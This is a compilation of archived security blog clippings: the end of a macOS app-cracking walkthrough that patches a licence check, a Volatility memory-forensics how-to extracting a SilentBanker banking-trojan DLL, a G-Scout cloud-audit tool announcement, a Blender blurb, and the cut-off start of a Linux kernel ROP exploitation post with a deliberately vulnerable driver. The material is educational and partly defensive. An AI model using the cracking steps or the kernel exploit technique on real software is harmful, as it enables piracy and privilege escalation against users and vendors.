    0x4c9c <-[SSExcesAppController awakeFromNib]+901>:  0x458b0975  0x2c40c608  0x8b7deb01  0xa4a10855
    0x4cac <-[SSExcesAppController awakeFromNib]+917>:  0x89000141  0x89082454  0x89042444  0x26e82414
    
    
[/code]

That’s the memory representation of the code, a whole 8 blocks of four bytes
starting at`0x00004c9c`. Taking endianness into account, we must reverse them
and we get the following:

[code]

    0x75098b45  0x08c6402c  0x01eb7d8b  0x5508a1a4
    0x41010089  0x54240889  0x44240489  0x1424e826
    
    
[/code]

The very first byte of the series is the `74` that we switched into `75`. By
changing it back, we can deduce the original binary code to be:

[code]

    0x74098b45  0x08c6402c  0x01eb7d8b  0x5508a1a4
    0x41010089  0x54240889  0x44240489  0x1424e826
    
    
[/code]

Let’s open the binary in a hex editor. I used `vim`, but feel free to use any
hex editor at this point. HexFiend has a great GUI.

[code]

    (gdb) quit
    $ vim Exces
    
    
[/code]

This loads up the binary as ascii text, which is of little help. Convert it to
hex thusly:

[code]

    :%!xxd
    
    
[/code]

`vim` formats hex like this:

[code]

    0000000: cafe babe 0000 0002 0000 0012 0000 0000  ................
    
    
[/code]

The first part, before the colon, is the address of block. Following it are 16
bytes, broken off in two-byte segments. Incidentally, every Mach-O binary
starts with the hex bytes`cafebabe`. Drunk Kernel programmers probably thought
it’d be funny. Now that we have our beautiful hex code loaded up, let’s search
for the first two bytes of our code to replace:

[code]

    /7409
    
    
[/code]

Shit. Too many results to make sense of. Let’s add another two bytes. Search
for “`7409 8b45`” instead and boom, only one result:

[code]

    001fc90: 0089 4424 04e8 4b24 0100 85c0 7409 8b45  ..D$..K$....t..E
    
    
[/code]

Edit it to the following:

[code]

    001fc90: 0089 4424 04e8 4b24 0100 85c0 7509 8b45  ..D$..K$....t..E
    
    
[/code]

Convert it back to binary form, then save and quit:

[code]

    :%!xxd -r
    :wq
    
    
[/code]

And… We’re done\! To check our work, launch the app in `gdb`, break
to`[SSExcesAppController awakeFromNib]` and disassemble.

[code]

    $ gdb Exces 
    (gdb) break [SSExcesAppController awakeFromNib]
    Breakpoint 1 at 0x4c90
    (gdb) r
    (gdb) disas
    
    
[/code]

Admire our work:

[code]

    0x00004c9c <-[SSExcesAppController awakeFromNib]+901>:  jne    0x4ca7 <-[SSExcesAppController awakeFromNib]+912>
    
[/code]

Quit `gdb` and relaunch the app from the Finder, and bask in your  _leet_
glory.

# How you can stop me

Objective-C makes it really easy to mess with an app’s internals. Try to
program the licensing mechanism for your app in pure C, that will already make
it harder for me to find my way around your binary. Also read this older
article of mine on three easy tips—stripping debug symbols, using
PT\_DENY\_ATTACH, and doing a checksum of your binary—you can implement to
make it a whole lot harder for your app to be cracked.

A truly skilled hacker will always find his way around your protection, but
implementing a bare minimum of security will weed out 99% of amateurs. I am
not a skilled hacker—yet with some very basic knowledge I tore this apart in
no time. Implementing the various easy tips above takes very little time, yet
would have made it enough of a pain for me that I would have given up.

# Volatility Labs: HowTo: Extract "Hidden" API-Hooking BHO DLLs

**Created:**| _1/24/2013 9:08:13 AM_  
---|---  
**Updated:**| _1/24/2013 9:08:13 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

# HowTo: Extract "Hidden" API-Hooking BHO DLLs

A Twitter user recently asked a question  to the @volatility  account: "_can
you please tell me how to extract SilentBanker \[from memory\] "_? We like to
encourage people to work through problems on their own, so our initial advice
was short and sweet: SilentBanker is a BHO so find the DLL and extract it with
dlldump. The follow up question from the Twitter user was one that likely many
other people have had in the past \(regarding SilentBanker or any other
malware with similar characteristics\), so we turned the reply into a blog
post. In particular, the user could find the BHO by querying the registry, but
it did not appear to be loaded in any process.  
  
So, how do you find the DLL in order to dump it?  
  
_Identifying the BHO DLL_  
  
Let's re-trace the user's steps and see how the task might be completed. Given
the knowledge that its a BHO, you might start by getting the CLSID with
printkey:  
  
$ **python vol.py -f silentbanker.vmem printkey -K
'Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects'**  
Volatile Systems Volatility Framework 2.3\_alpha  
Legend: \(S\) = Stable \(V\) = Volatile  
  
\----------------------------  
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software  
Key name: Browser Helper Objects \(S\)  
Last updated: 2010-08-15 18:54:02  
  
Subkeys:  
\(S\) **\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000\}**  
  
Then you would resolve the full path to the BHO DLL by querying the CLSID's
InprocServer32 value, like this:  
  
$ **python vol.py -f silentbanker.vmem printkey -K
'Classes\CLSID\\\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000\}\InprocServer32'**  
Volatile Systems Volatility Framework 2.3\_alpha  
Legend: \(S\) = Stable \(V\) = Volatile  
  
\----------------------------  
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software  
Key name: InprocServer32 \(S\)  
Last updated: 2010-08-15 18:54:02  
  
Subkeys:  
  
Values:  
REG\_SZ : \(S\) **C:\WINDOWS\system32\mscorews.dll**  
REG\_SZ ThreadingModel : \(S\) Apartment

_DLLs and File Object Handles_  
  
And this is where our friend got stuck. Using dlllist, it does not appear that
mscorews.dll is loaded in any process:

$ **python vol.py -f silentbanker.vmem dlllist | grep mscorews**
Volatile Systems Volatility Framework 2.3\_alpha

Furthermore, as the user noted, filescan locates a FILE\_OBJECT that
represents mscorews.dll, but there are 0 open handles to the object.

$ **python vol.py -f silentbanker.vmem filescan | grep mscorews**
Volatile Systems Volatility Framework 2.3\_alpha

Offset\(P\) \#Ptr \#Hnd Access Name

\---------- ------ ------ ------ ----

\[snip\]

0x04b5b4b8 1 **0** R--r-d
\Device\HarddiskVolume1\WINDOWS\system32\mscorews.dll

\[snip\]

First you must understand that when a process loads a DLL, a handle to the DLL
is opened \(creating a FILE\_OBJECT\), the file's contents are read and mapped
into process memory, and then the file handle is closed. So if there are 0
open handles to a FILE\_OBJECT, that does not indicate that the DLL was not,
or is not, loaded in a process. Don't believe me? Well, kernel32.dll is loaded
in \*every\* process - that is a fact - but both of the FILE\_OBJECTs that
still reside in physical memory show 0 handles:

$ **python vol.py -f silentbanker.vmem filescan | grep kernel32**
Volatile Systems Volatility Framework 2.3\_alpha

0x0111ad28 1 **0** R--rwd
\Device\HarddiskVolume1\WINDOWS\system32\kernel32.dll

0x05e39748 1 **0** R--rwd
\Device\HarddiskVolume1\WINDOWS\system32\kernel32.dll

Alright, back to the task of finding this DLL. If we're looking for a BHO, our
best bet is to look Windows Explorer \(explorer.exe\) or Internet Explorer
\(IEXPLORE.EXE\). Other processes don't load BHOs, so no need to look
elsewhere. Also, intuition tells us that there's a good reason the malware
would manifest as a BHO DLL - to inspect, alter, or log the behavior of the
target process. Based on that - I immediately think API hooks.  
  
_Leveraging API Hooks as a Code Map_  
  
The apihooks plugin will not only tell you what functions are hooked, but give
you disassembly of the code, which is critical for finding out where the
"hidden" DLL exists. In the output below, you'll notice there are about 10
hooked APIs, all of which take an initial hop into a different segment of
memory. For example the first API, kernel32\!ExitProcess is redirected to
0xe50000. The second entry, user32\!DispatchMessageA is redirected to
0x10e0000. At first glance this may appear like a Poison Ivy style fragmented
code injection , but its not. Each of the smaller initial hops contain a small
sequence of instructions to redirect execution to the main body of
SilentBanker's code.

[code]

    $ python vol.py -f silentbanker.vmem -p 1884 apihooks --quick
    Volatile Systems Volatility Framework 2.3_alpha
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: kernel32.dll (0x7c800000 - 0x7c8f4000)
    Function: kernel32.dll!ExitProcess at 0x7c81caa2
    Hook address: 0xe50000
    Hooking module: 
    
    Disassembly(0):
    0x7c81caa2 e959356384       JMP 0xe50000
    0x7c81caa7 6aff             PUSH -0x1
    0x7c81caa9 68b0f3e877       PUSH DWORD 0x77e8f3b0
    0x7c81caae ff7508           PUSH DWORD [EBP+0x8]
    0x7c81cab1 e846ffffff       CALL 0x7c81c9fc
    0x7c81cab6 e9               DB 0xe9
    0x7c81cab7 29cf             SUB EDI, ECX
    0x7c81cab9 01               DB 0x1
    
    Disassembly(1):
    0xe50000 58               POP EAX
    0xe50001 680500e600       PUSH DWORD 0xe60005
    0xe50006 6800000000       PUSH DWORD 0x0
    0xe5000b 680000807c       PUSH DWORD 0x7c800000
    0xe50010 6828180310       PUSH DWORD 0x10031828
    0xe50015 50               PUSH EAX
    0xe50016 688e9b0210       PUSH DWORD 0x10029b8e
    0xe5001b c3               RET
    0xe5001c 0000             ADD [EAX], AL
    0xe5001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: USER32.dll (0x77d40000 - 0x77dd0000)
    Function: USER32.dll!DispatchMessageA at 0x77d4bcbd
    Hook address: 0x10e0000
    Hooking module: 
    
    Disassembly(0):
    0x77d4bcbd e93e433989       JMP 0x10e0000
    0x77d4bcc2 6a01             PUSH 0x1
    0x77d4bcc4 ff7508           PUSH DWORD [EBP+0x8]
    0x77d4bcc7 e8fdcbffff       CALL 0x77d488c9
    0x77d4bccc 5d               POP EBP
    0x77d4bccd c20400           RET 0x4
    0x77d4bcd0 8b4508           MOV EAX, [EBP+0x8]
    0x77d4bcd3 e9               DB 0xe9
    0x77d4bcd4 47               INC EDI
    
    Disassembly(1):
    0x10e0000 58               POP EAX
    0x10e0001 6805000f01       PUSH DWORD 0x10f0005
    0x10e0006 6800000000       PUSH DWORD 0x0
    0x10e000b 680000807c       PUSH DWORD 0x7c800000
    0x10e0010 6828180310       PUSH DWORD 0x10031828
    0x10e0015 50               PUSH EAX
    0x10e0016 68619f0210       PUSH DWORD 0x10029f61
    0x10e001b c3               RET
    0x10e001c 0000             ADD [EAX], AL
    0x10e001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: USER32.dll (0x77d40000 - 0x77dd0000)
    Function: USER32.dll!DispatchMessageW at 0x77d489d9
    Hook address: 0x1100000
    Hooking module: 
    
    Disassembly(0):
    0x77d489d9 e922763b89       JMP 0x1100000
    0x77d489de 6a00             PUSH 0x0
    0x77d489e0 ff7508           PUSH DWORD [EBP+0x8]
    0x77d489e3 e8e1feffff       CALL 0x77d488c9
    0x77d489e8 5d               POP EBP
    0x77d489e9 c20400           RET 0x4
    0x77d489ec 90               NOP
    0x77d489ed 90               NOP
    0x77d489ee 90               NOP
    0x77d489ef 90               NOP
    0x77d489f0 90               NOP
    
    Disassembly(1):
    0x1100000 58               POP EAX
    0x1100001 6805001101       PUSH DWORD 0x1110005
    0x1100006 6800000000       PUSH DWORD 0x0
    0x110000b 680000807c       PUSH DWORD 0x7c800000
    0x1100010 6828180310       PUSH DWORD 0x10031828
    0x1100015 50               PUSH EAX
    0x1100016 68619f0210       PUSH DWORD 0x10029f61
    0x110001b c3               RET
    0x110001c 0000             ADD [EAX], AL
    0x110001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: USER32.dll (0x77d40000 - 0x77dd0000)
    Function: USER32.dll!GetClipboardData at 0x77d6fcb2
    Hook address: 0x10c0000
    Hooking module: 
    
    Disassembly(0):
    0x77d6fcb2 e949033589       JMP 0x10c0000
    0x77d6fcb7 83ec2c           SUB ESP, 0x2c
    0x77d6fcba 56               PUSH ESI
    0x77d6fcbb 57               PUSH EDI
    0x77d6fcbc 8d45d4           LEA EAX, [EBP+0xffffffd4]
    0x77d6fcbf 50               PUSH EAX
    0x77d6fcc0 ff7508           PUSH DWORD [EBP+0x8]
    0x77d6fcc3 e8e8000000       CALL 0x77d6fdb0
    0x77d6fcc8 8bf0             MOV ESI, EAX
    
    Disassembly(1):
    0x10c0000 58               POP EAX
    0x10c0001 6805000d01       PUSH DWORD 0x10d0005
    0x10c0006 6800000000       PUSH DWORD 0x0
    0x10c000b 680000807c       PUSH DWORD 0x7c800000
    0x10c0010 6828180310       PUSH DWORD 0x10031828
    0x10c0015 50               PUSH EAX
    0x10c0016 68bc9f0210       PUSH DWORD 0x10029fbc
    0x10c001b c3               RET
    0x10c001c 0000             ADD [EAX], AL
    0x10c001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: ADVAPI32.dll (0x77dd0000 - 0x77e6b000)
    Function: ADVAPI32.dll!CryptDeriveKey at 0x77dea685
    Hook address: 0xeb0000
    Hooking module: 
    
    Disassembly(0):
    0x77dea685 e976590c89       JMP 0xeb0000
    0x77dea68a de77e8           FIDIV WORD [EDI+0xffffffe8]
    0x77dea68d 88c2             MOV DL, AL
    0x77dea68f fe               DB 0xfe
    0x77dea690 ff33             PUSH DWORD [EBX]
    0x77dea692 f6               DB 0xf6
    0x77dea693 8975d8           MOV [EBP+0xffffffd8], ESI
    0x77dea696 8975e4           MOV [EBP+0xffffffe4], ESI
    0x77dea699 8975d0           MOV [EBP+0xffffffd0], ESI
    0x77dea69c 89               DB 0x89
    
    Disassembly(1):
    0xeb0000 58               POP EAX
    0xeb0001 680500ec00       PUSH DWORD 0xec0005
    0xeb0006 6800000000       PUSH DWORD 0x0
    0xeb000b 680000807c       PUSH DWORD 0x7c800000
    0xeb0010 6828180310       PUSH DWORD 0x10031828
    0xeb0015 50               PUSH EAX
    0xeb0016 687fa00210       PUSH DWORD 0x1002a07f
    0xeb001b c3               RET
    0xeb001c 0000             ADD [EAX], AL
    0xeb001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: ADVAPI32.dll (0x77dd0000 - 0x77e6b000)
    Function: ADVAPI32.dll!CryptGenKey at 0x77e114b1
    Hook address: 0xef0000
    Hooking module: 
    
    Disassembly(0):
    0x77e114b1 e94aeb0d89       JMP 0xef0000
    0x77e114b6 e177             LOOPZ 0x77e1152f
    0x77e114b8 e85c54fcff       CALL 0x77dd6919
    0x77e114bd 33f6             XOR ESI, ESI
    0x77e114bf 8975d8           MOV [EBP+0xffffffd8], ESI
    0x77e114c2 8975e4           MOV [EBP+0xffffffe4], ESI
    0x77e114c5 8975dc           MOV [EBP+0xffffffdc], ESI
    0x77e114c8 89               DB 0x89
    
    Disassembly(1):
    0xef0000 58               POP EAX
    0xef0001 680500f000       PUSH DWORD 0xf00005
    0xef0006 6800000000       PUSH DWORD 0x0
    0xef000b 680000807c       PUSH DWORD 0x7c800000
    0xef0010 6828180310       PUSH DWORD 0x10031828
    0xef0015 50               PUSH EAX
    0xef0016 6862a10210       PUSH DWORD 0x1002a162
    0xef001b c3               RET
    0xef001c 0000             ADD [EAX], AL
    0xef001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: ADVAPI32.dll (0x77dd0000 - 0x77e6b000)
    Function: ADVAPI32.dll!CryptImportKey at 0x77dea879
    Hook address: 0xed0000
    Hooking module: 
    
    Disassembly(0):
    0x77dea879 e982570e89       JMP 0xed0000
    0x77dea87e de77e8           FIDIV WORD [EDI+0xffffffe8]
    0x77dea881 94               XCHG ESP, EAX
    0x77dea882 c0feff           SAR DH, 0xff
    0x77dea885 33f6             XOR ESI, ESI
    0x77dea887 8975d4           MOV [EBP+0xffffffd4], ESI
    0x77dea88a 33db             XOR EBX, EBX
    0x77dea88c 895de4           MOV [EBP+0xffffffe4], EBX
    0x77dea88f 89               DB 0x89
    0x77dea890 75               DB 0x75
    
    Disassembly(1):
    0xed0000 58               POP EAX
    0xed0001 680500ee00       PUSH DWORD 0xee0005
    0xed0006 6800000000       PUSH DWORD 0x0
    0xed000b 680000807c       PUSH DWORD 0x7c800000
    0xed0010 6828180310       PUSH DWORD 0x10031828
    0xed0015 50               PUSH EAX
    0xed0016 68f2a00210       PUSH DWORD 0x1002a0f2
    0xed001b c3               RET
    0xed001c 0000             ADD [EAX], AL
    0xed001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: ws2_32.dll (0x71ab0000 - 0x71ac7000)
    Function: ws2_32.dll!connect at 0x71ab406a
    Hook address: 0xe90000
    Hooking module: 
    
    Disassembly(0):
    0x71ab406a e991bf3d8f       JMP 0xe90000
    0x71ab406f 83ec18           SUB ESP, 0x18
    0x71ab4072 57               PUSH EDI
    0x71ab4073 8d45e8           LEA EAX, [EBP+0xffffffe8]
    0x71ab4076 50               PUSH EAX
    0x71ab4077 8d45ec           LEA EAX, [EBP+0xffffffec]
    0x71ab407a 50               PUSH EAX
    0x71ab407b ff152840ac71     CALL DWORD [0x71ac4028]
    0x71ab4081 33               DB 0x33
    
    Disassembly(1):
    0xe90000 58               POP EAX
    0xe90001 680500ea00       PUSH DWORD 0xea0005
    0xe90006 6800000000       PUSH DWORD 0x0
    0xe9000b 680000807c       PUSH DWORD 0x7c800000
    0xe90010 6828180310       PUSH DWORD 0x10031828
    0xe90015 50               PUSH EAX
    0xe90016 6818a00210       PUSH DWORD 0x1002a018
    0xe9001b c3               RET
    0xe9001c 0000             ADD [EAX], AL
    0xe9001e 0000             ADD [EAX], AL
    
    ************************************************************************
    Hook mode: Usermode
    Hook type: Inline/Trampoline
    Process: 1884 (IEXPLORE.EXE)
    Victim module: ws2_32.dll (0x71ab0000 - 0x71ac7000)
    Function: ws2_32.dll!send at 0x71ab428a
    Hook address: 0xe70000
    Hooking module: 
    
    Disassembly(0):
    0x71ab428a e971bd3b8f       JMP 0xe70000
    0x71ab428f 83ec10           SUB ESP, 0x10
    0x71ab4292 56               PUSH ESI
    0x71ab4293 57               PUSH EDI
    0x71ab4294 33ff             XOR EDI, EDI
    0x71ab4296 813d2840ac714894ab71 CMP DWORD [0x71ac4028], 0x71ab9448
    0x71ab42a0 0f               DB 0xf
    0x71ab42a1 84               DB 0x84
    
    Disassembly(1):
    0xe70000 58               POP EAX
    0xe70001 680500e800       PUSH DWORD 0xe80005
    0xe70006 6800000000       PUSH DWORD 0x0
    0xe7000b 680000807c       PUSH DWORD 0x7c800000
    0xe70010 6828180310       PUSH DWORD 0x10031828
    0xe70015 50               PUSH EAX
    0xe70016 68b9990210       PUSH DWORD 0x100299b9
    0xe7001b c3               RET
    0xe7001c 0000             ADD [EAX], AL
    0xe7001e 0000             ADD [EAX], AL
    
[/code]

Can you tell what address range to dump now? For ExitProcess, there's a PUSH
DWORD 0x10029b8e followed by a RET. For DispatchMessageA, there's a PUSH DWORD
0x10029f61 followed by a RET. For other APIs, they go to 0x10029fbc,
0x1002a07f, and 0x1002a162, etc. So you can bet, regardless of the initial hop
addresses, all hooked APIs end up in the range 0x1002????.

Let's check out that address in volshell:  
  
$ **python vol.py -f silentbanker.vmem volshell**  
Volatile Systems Volatility Framework 2.3\_alpha  
\(pid = Current context: process System, pid=4, ppid=0 DTB=0x319000  
Welcome to volshell\!  
To get help, type 'hh\(\)'  
>>> **cc\(pid = 1884\)**  
Current context: process IEXPLORE.EXE, pid=1884, ppid=1724 DTB=0x6cc02a0

>>> **db\(0x10020000\)**

0x10020000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............

0x10020010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......

0x10020020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0x10020030 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 ................

0x10020040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........\!..L.\!Th

0x10020050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno

0x10020060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS.

0x10020070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$.......

There's a PE header at the base address that we selected based on the API
hooks output. We don't see mscorews.dll in the dlllist output or in the
vadinfo mapped files, because after the DLL initially loads, it copies itself
to a virtually allocated region \(i.e. VirtualAlloc \), then unloads. The
entry in the PEB for the DLL is wiped out, as is the file mapping, but the
code stays running. Typical code injection artifact that malfind will also
detect appropriately:

$ **python vol.py -f silentbanker.vmem -p 1884 malfind**

Volatile Systems Volatility Framework 2.3\_alpha

\[snip\]

Process: IEXPLORE.EXE Pid: 1884 Address: 0x10020000

Vad Tag: VadS Protection: PAGE\_EXECUTE\_READWRITE

Flags: CommitCharge: 22, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x10020000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............

0x10020010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......

0x10020020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0x10020030 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 ................

_Extracting the DLL_

At the end of the day, you can now effortlessly extract the hidden DLL from
Internet Explorer with the dlldump plugin:

$ **mkdir sb**

$ **python vol.py -f silentbanker.vmem -p 1884 dlldump --base 0x10020000 -D
sb/**

Volatile Systems Volatility Framework 2.3\_alpha

Process\(V\) Name Module Base Module Name Result

\---------- -------------------- ----------- -------------------- ------

0x80f1b020 IEXPLORE.EXE 0x010020000 UNKNOWN OK:
module.1884.107e020.10020000.dll

As a sanity check:

$ **strings sb/module.1884.107e020.10020000.dll**

\[snip

iexplore.exe

explorer.exe

Content-Type: application/octet-stream

Content-Transfer-Encoding: binary

Content-Disposition: form-data; name="%s"; filename="C:\%s"

Content-Type: application/x-www-form-urlencoded

http://%s

%d%d.exe

/acct/logout.asp

dotscfg.xml

fosinfo.xml

/acct/confirm.asp

&BAction=Confirm

USD\_PER\_OUNCE

&USD\_PER\_OUNCE=

PAYER\_ACCOUNT

&PAYER\_ACCOUNT=

PAYMENT\_METAL\_ID

&PAYMENT\_METAL\_ID=

Currency\_Symbol

&Currency\_Symbol=

&Memo=

WORTH\_OF

&WORTH\_OF=

PAY\_IN

Amount

Payee\_Account

/acct/verify.asp

BAction=Preview

past=&

&WORTH\_OF=Gold&Memo=&

&PAY\_IN=

&Amount=

Payee\_Account=

" VALUE: "

" PASS: "

" LOG: "

POP3 User Name

HTTPMail Password2

HTTPMail User Name

Software\Microsoft\Internet Account Manager\Accounts

_Conclusion_  
  
Your takeaways for this short how-to is that 1\) just because the FILE\_OBJECT
handle count is zero does not mean a file isn't loaded in a process 2\)
sometimes a DLL will quickly create a copy of itself and then unload, leaving
no trace in the PEB 3\) you can use indirect methods to locate hidden DLLs,
such as API hook trampoline addresses and injected code artifacts.

# Introducing G-Scout

**Created:**| _9/4/2017 9:29:49 AM_  
---|---  
**Updated:**| _9/4/2017 9:29:49 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Introducing G-Scout

G-Scout is a tool to help assess the security of Google Cloud Platform \(GCP\)
environment configurations. By leveraging the Google Cloud API, G-Scout
automatically gathers a variety of configuration data and analyzes this data
to determine security risks. It produces HTML output, which allows for
convenient browsing of results.

The audited data relates to:

  * IAM roles
  * Compute engine instances
  * Storage buckets
  * Firewall rules
  * SQL and noSQL databases
  * Service account keys

G-Scout also allows users to create and customize rulesets simply by creating
Python functions.

## Google Cloud Configuration Reviews

Conducting a thorough security review of a Google Cloud Platform configuration
can be extremely difficult. Clicking through the console to review details on
potentially hundreds of projects, VMs, buckets and other services just isn’t
feasible. Some important information isn’t even visible in the console.
Manually crafting API calls and receiving an unfiltered JSON dump of the
results for so many entities isn’t much better.

G-Scout aims to make that process much easier and more reliable. You tell it
which projects you want to audit, and it will quickly make dozens of API calls
to gather all security relevant information in one location. Then you can view
the results in your browser, sorted by project, category, and security rules.

<img src='' width='159' height='24' alt='Report Output Sample' />

## Using G-Scout is Easy

There are two ways for the project owner to grant API permissions.

User Account:

  1. 1Use an account with “Security Reviewer” role for the project \(may require activating the Google Identity and Access Management API, which can be done in the console\).
  2. 2Approve the Oauth2 authentication request when prompted in your browser.

Service Account:

  1. 1Go to the console service accounts page at https://console.cloud.google.com/iam-admin/serviceaccounts/project?project=project and create a service account.
  2. 2Go to IAM management console at https://console.cloud.google.com/iam-admin/iam/project?project=project and add “Security Reviewer” and “Viewer” permissions to the service account created in step 1.
  3. 3Generate a Service Account key from https://console.cloud.google.com/apis/credentials?project=project.
  4. 4Place the JSON file \(named keyfile.json\) generated in step 3 into the application directory.

For the security reviewer, run the application with the following commands:

[code]

    sudo pip install -r requirements.txt 
    python gscout.py "project" "project name"
    
[/code]

The HTML report output will be in the HTML folder.

When running the python command above, the first parameter is the literal
string “project” or “organization.” The second parameter is the name of the
project, or the ID of the organization. You can also use a wildcard to run
G-Scout on multiple projects. For example: `python gscout.py "project"
"dev-*"`.

To create a custom rule, add it to the rules.py file. A Rule object takes a
name, a category, and a filter function. The function will be passed a json
object corresponding to the category. To see an example for each category
\(some of which are altered from the standard API response\), see the
entity\_samples.json file.

## G-Scout is Open Source

You can find G-Scout at https://github.com/nccgroup/G-Scout. It’s free to use
and modify.

**Published date:** 15 August 2017

**Written by:** Angelo Mellos

<img src='img/5848_social-twitter.gif' width='32' height='32' alt='twitter
icon' /> <img src='img/5847_social-facebook.gif' width='32' height='32'
alt='facebook icon' /> <img src='img/5850_social-gplus.gif' width='32'
height='32' alt='google+ icon' /> <img src='img/5849_social-linkedin.gif'
width='32' height='32' alt='linkedin icon' />

  

# Blender Tutorials Downloads Videos & Education – Blender Cookie – Getting
Started with Blender – Materials

**Created:**| _4/7/2011 4:54:24 PM_  
---|---  
**Updated:**| _4/7/2011 4:54:24 PM_  
**Author:**| __  
**Tags:**| _bookmark modeling_  
  

In this blender video we will cover the basics of materials within Blender.

# Beat SMEP on Linux with Return-Oriented Programming | falken's blog
**Created:**| _11/10/2011 3:22:07 PM_  
---|---  
**Updated:**| _11/10/2011 3:22:07 PM_  
**Author:**| __  
**Tags:**| _Linux kernel rop_  
  

## Beat SMEP on Linux with Return-Oriented Programming

  * November 9th, 2011
  * Posted in Linux
  * Write comment

**Introduction**

In this post, I will show you how easy it is to use Return-Oriented
Programming in the Linux kernel and how it can bypass protections such as
SMEP, available in the next generation of Intel processor.

**Linux buggy module**

In order to simplify exploitation I have decided to develop a buggy driver
containing a stack overflow.

Here is the important code \(kbof.c\):

[code]

    struct kbof {
    	size_t size;
    	char *buf;
    };
    
    static int kbof_stackbof(struct kbof *kb)
    {
    	char buf[64];
    
    	printk(KERN_INFO "kbof_stackbof: buf = %p size = %u\n", kb->buf, kb->size);
    
    	if (copy_from_user(buf, kb->buf, kb->size))
    		return -EINVAL;
    
    	return 0;
    }
    
    static long kbof_ioctl(struct file *fp, unsigned int cmd, unsigned long arg)
    {
            struct kbof kb;
    
            if (copy_from_user(&kb, (struct kbof *)arg, sizeof(kb)))
                    return -EINVAL;
    
            switch (cmd) {
            case KBOF_STACKOVF:
                    return kbof_stackbof(&kb);
            }
    
            return 0;
    }
    
[/code]

This is a really simple stack overflow where you can control both the buffer
and the length of the overflow.

This code path can be reached via an ioctl. The char device created for the
module is /dev/kbof.

[code]

    make
    mknod /dev/kbof c 60 0
    chmod 666 /dev/kbof
    insmod ./kbof.ko
    
[/code]

**Finding the size of the overflow**

First of all, we need to get the size of the overflow.  
objdump gives us the answer :

[code]

    kbof_stackbof:
    push   %rbp
    mov    %rsp,%rbp
    push   %rbx
    sub    $0x58,%rsp
    ...
    mov    -0x20(%rbp),%rdx   # %rdx = size
    mov    -0x18(%rbp),%rsi   # %rsi = src
    lea    -0x60(%rbp),%rdi   # %rdi = buf
    callq  0 
[/code]

... retq

The buffer is 0×60 bytes below %rbp \(the Fedora kernel is compiled without
-fomit-frame-pointer\). So the return address is stored 104 bytes \(0×60 +
0×8\) after buf.

**SMEP vs kernel exploits**

While the Linux kernel is easy to exploit and offers only few protections,
patches such as PaX or processor features such as SMEP make current exploits
unusable.  
SMEP is a feature that will be present in the next generation of Intel
processors \(Ivy bridge\). It prevents code in userspace \(U/S=1 in page table
entry\) from being executed in ring0 mode \(CPL=0\).

<img src='img/Temp2_1000.jpg' width='550' height='449' alt='SMEP' />

It means that we can’t jump to our exploit process address space and execute
our payload \(get root credentials, execute a shell\). This is where ROP come
to our rescue : as we return in the kernel address space \(U/S=0\), no fault
will be triggered by the cpu.

**Finding gadgets**

To achieve successful ROP exploitation, we have to find gadgets in the linux
kernel image. As the kernel is a changing a lot, I used “git log” to find
files that did not change much between releases. Several asm files \(.S\) in
the arch/x86 directory have not changed for the last months. If we look at
these files, we can see ROP instructions :

arch/x86/lib/rwsem\_64.S:

[code]

    call_rwsem_downgrade_wake:
    ...
    popq %r11
    popq %r10
    popq %r9
    popq %r8
    popq %rcx
    popq %rsi
    popq %rdi
    ret
    
[/code]

arch/x86/lib/rwlock.S:

[code]

    __read_lock_failed:
    decl (%rdi)
    js __read_lock_failed
    ret
    
[/code]

To find other gadgets we have to disassemble the linux kernel image.  
An example of how to extract a gzip compressed kernel image \(1f8b0800 is the
gzip signature\) :

[code]

    $ od -A d -t x1 /boot/vmlinuz-2.6.38.6-26.rc1.fc15.x86_64 | grep '1f 8b 08 00'
    0017504 48 8d 83 c0 78 3a 00 ff e0 1f 8b 08 00 86 52 c8
    $ dd if=/boot/vmlinuz-2.6.38.6-26.rc1.fc15.x86_64 bs=1 skip=17513 | zcat > vmlinux
    
[/code]

And we use objdump to find gadgets. For example :

[code]

    $objdump -d ./vmlinux |grep "mov    %rax,%rdi" -A1| grep "callq" -B1
    ...
